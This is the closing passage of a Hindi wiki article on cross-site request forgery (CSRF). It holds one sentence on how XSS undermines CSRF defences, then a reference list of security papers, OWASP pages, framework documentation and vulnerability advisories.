क्रॉस-साइट स्क्रिप्टिंग (XSS) कमजोरियाँ (यहां तक ​​कि ही डोमेन पर चलने वाले अन्य अनुप्रयोगों में भी) हमलावरों को अनिवार्य रूप से सभी CSRF रोकथामों को बायपास करने की अनुमति देती हैं।[36]

यह भी देखें

संदर्भ

  1. ↑ 1.0 1.1 1.2 1.3 1.4 Shiflett, Chris (December 13, 2004). "Security Corner: Cross-Site Request Forgeries". php|architect (via shiflett.org). Retrieved 2008-07-03.
  2. ↑ 2.0 2.1 Ristic, Ivan (2005). अपाचे सुरक्षा. O'Reilly Media. p. 280. ISBN 0-596-00724-8.
  3. ↑ "What is Cross-Site Request Forgery (CSRF) and How Does It Work? | Synopsys".
  4. ↑ "What is CSRF (Cross-site request forgery)? Tutorial & Examples". portswigger.net. Retrieved 2019-11-04.
  5. ↑ Burns, Jesse (2005). "Cross Site Request Forgery: An Introduction To A Common Web Weakness" (PDF). Information Security Partners, LLC. Retrieved 2011-12-12.
  6. ↑ Christey, Steve; Martin, Robert A. (May 22, 2007). "सीवीई में भेद्यता प्रकार वितरण (संस्करण 1.1)". MITRE Corporation. Retrieved 2008-06-07.
  7. ↑ Washkuch Jr., Frank (October 17, 2006). "नेटफ्लिक्स ने क्रॉस-साइट अनुरोध जालसाजी छेद को ठीक किया". SC Magazine. Retrieved 2019-02-11.
  8. ↑ 8.0 8.1 William Zeller; Edward W. Felten (October 2008). "Cross-Site Request Forgeries: Exploitation and Prevention" (PDF). Retrieved 29 May 2015.
  9. ↑ Mike, Bailey (2009). "CSRF: Yeah, It Still Works…" (PDF). DEFCON.
  10. ↑ "Security Advisory: CSRF & DNS/DHCP/Web Attacks". Draytek. May 2018. Retrieved 18 May 2018.
  11. ↑ "Cross Site Request Forgery protection | Django documentation | Django". docs.djangoproject.com. Retrieved 2015-08-21.
  12. ↑ Adam Barth, Collin Jackson, and John C. Mitchell, Robust Defenses for Cross-Site Request Forgery, Proceedings of the 15th ACM Conference on Computer and Communications Security, ACM 2008
  13. ↑ Joseph Foulds, Passive monitoring login request forgery, Yahoo Archived 2014-12-22 at the Wayback Machine
  14. ↑ "XML निकाय के साथ पोस्ट अनुरोधों के लिए क्रॉस-साइट अनुरोध जालसाजी". pentestmonkey. Retrieved September 4, 2015.
  15. ↑ Sheeraj Shah (2008). "Web 2.0 Hacking Defending Ajax & Web Services" (PDF). HITB. Retrieved September 4, 2015.
  16. ↑ "Security Fix - Weaponizing Web 2.0".
  17. ↑ Dynamic CSRF Archived 2010-02-13 at the Wayback Machine
  18. ↑ Owasp.org: Israel 2012/01: AJAX Hammer – Harnessing AJAX for CSRF Attacks
  19. ↑ Downloads – hasc-research – hasc-research – Google Project Hosting. Code.google.com (2013-06-17). Retrieved on 2014-04-12.
  20. ↑ "Vulnerability Note VU#584089 - cPanel XSRF vulnerabilities".
  21. ↑ "Vulnerability Note VU#264385 - OpenCA allows Cross site request forgery (XSRF)".
  22. ↑ "उन्नत क्रॉस-साइट हमले की रोकथाम". Espacenet. European Patent Office. Retrieved 21 November 2019.
  23. ↑ "CSRF: Cross-site request forgery attacks explained". IONOS Digitalguide (in English). Retrieved 2022-04-26.
  24. ↑ "क्रॉस-साइट अनुरोध जालसाजी (सीएसआरएफ) रोकथाम धोखा शीट". OWASP. Retrieved 2019-07-19.
  25. ↑ "Valhalla Articles - Cross-Site Request Forgery: Demystified".
  26. ↑ "क्रॉस साइट अनुरोध जालसाजी संरक्षण". Django. Archived from the original on 2015-01-20. Retrieved 2015-01-20.
  27. ↑ "क्रॉस साइट अनुरोध जालसाजी (XSRF) सुरक्षा". AngularJS. Retrieved 2015-01-20.
  28. ↑ "Making a Service Available Across Domain Boundaries".
  29. ↑ Adamski, Lucas. "फ़्लैश प्लेयर के लिए क्रॉस-डोमेन नीति फ़ाइल उपयोग अनुशंसाएँ - एडोब डेवलपर कनेक्शन".
  30. ↑ "डबल सबमिट कुकी रक्षा". OWASP.
  31. ↑ "सेमसाइट कुकीज़". Mozilla.
  32. ↑ Origin Header Proposal Archived 2016-03-08 at the Wayback Machine. People.mozilla.org. Retrieved on 2013-07-29.
  33. ↑ "Django 1.2.5 release notes". Django.
  34. ↑ "क्रॉस-साइट अनुरोध जालसाजी (सीएसआरएफ)". OWASP, The Open Web Application Security Project. 4 September 2012. Retrieved 11 September 2012.
  35. ↑ "Secunia Advisory SA22467". Secunia. 19 October 2006. Retrieved 11 September 2012.
  36. ↑ Schneider, Christian. "सीएसआरएफ और समान-मूल XSS". Archived from the original on 2012-08-14. Retrieved 2012-04-21.


बाहरी संबंध

Retrieved from ‘https://www.vigyanwiki.in/index.php?title=क्रॉस_साइट_अनुरोध_जालसाजी&oldid=249104’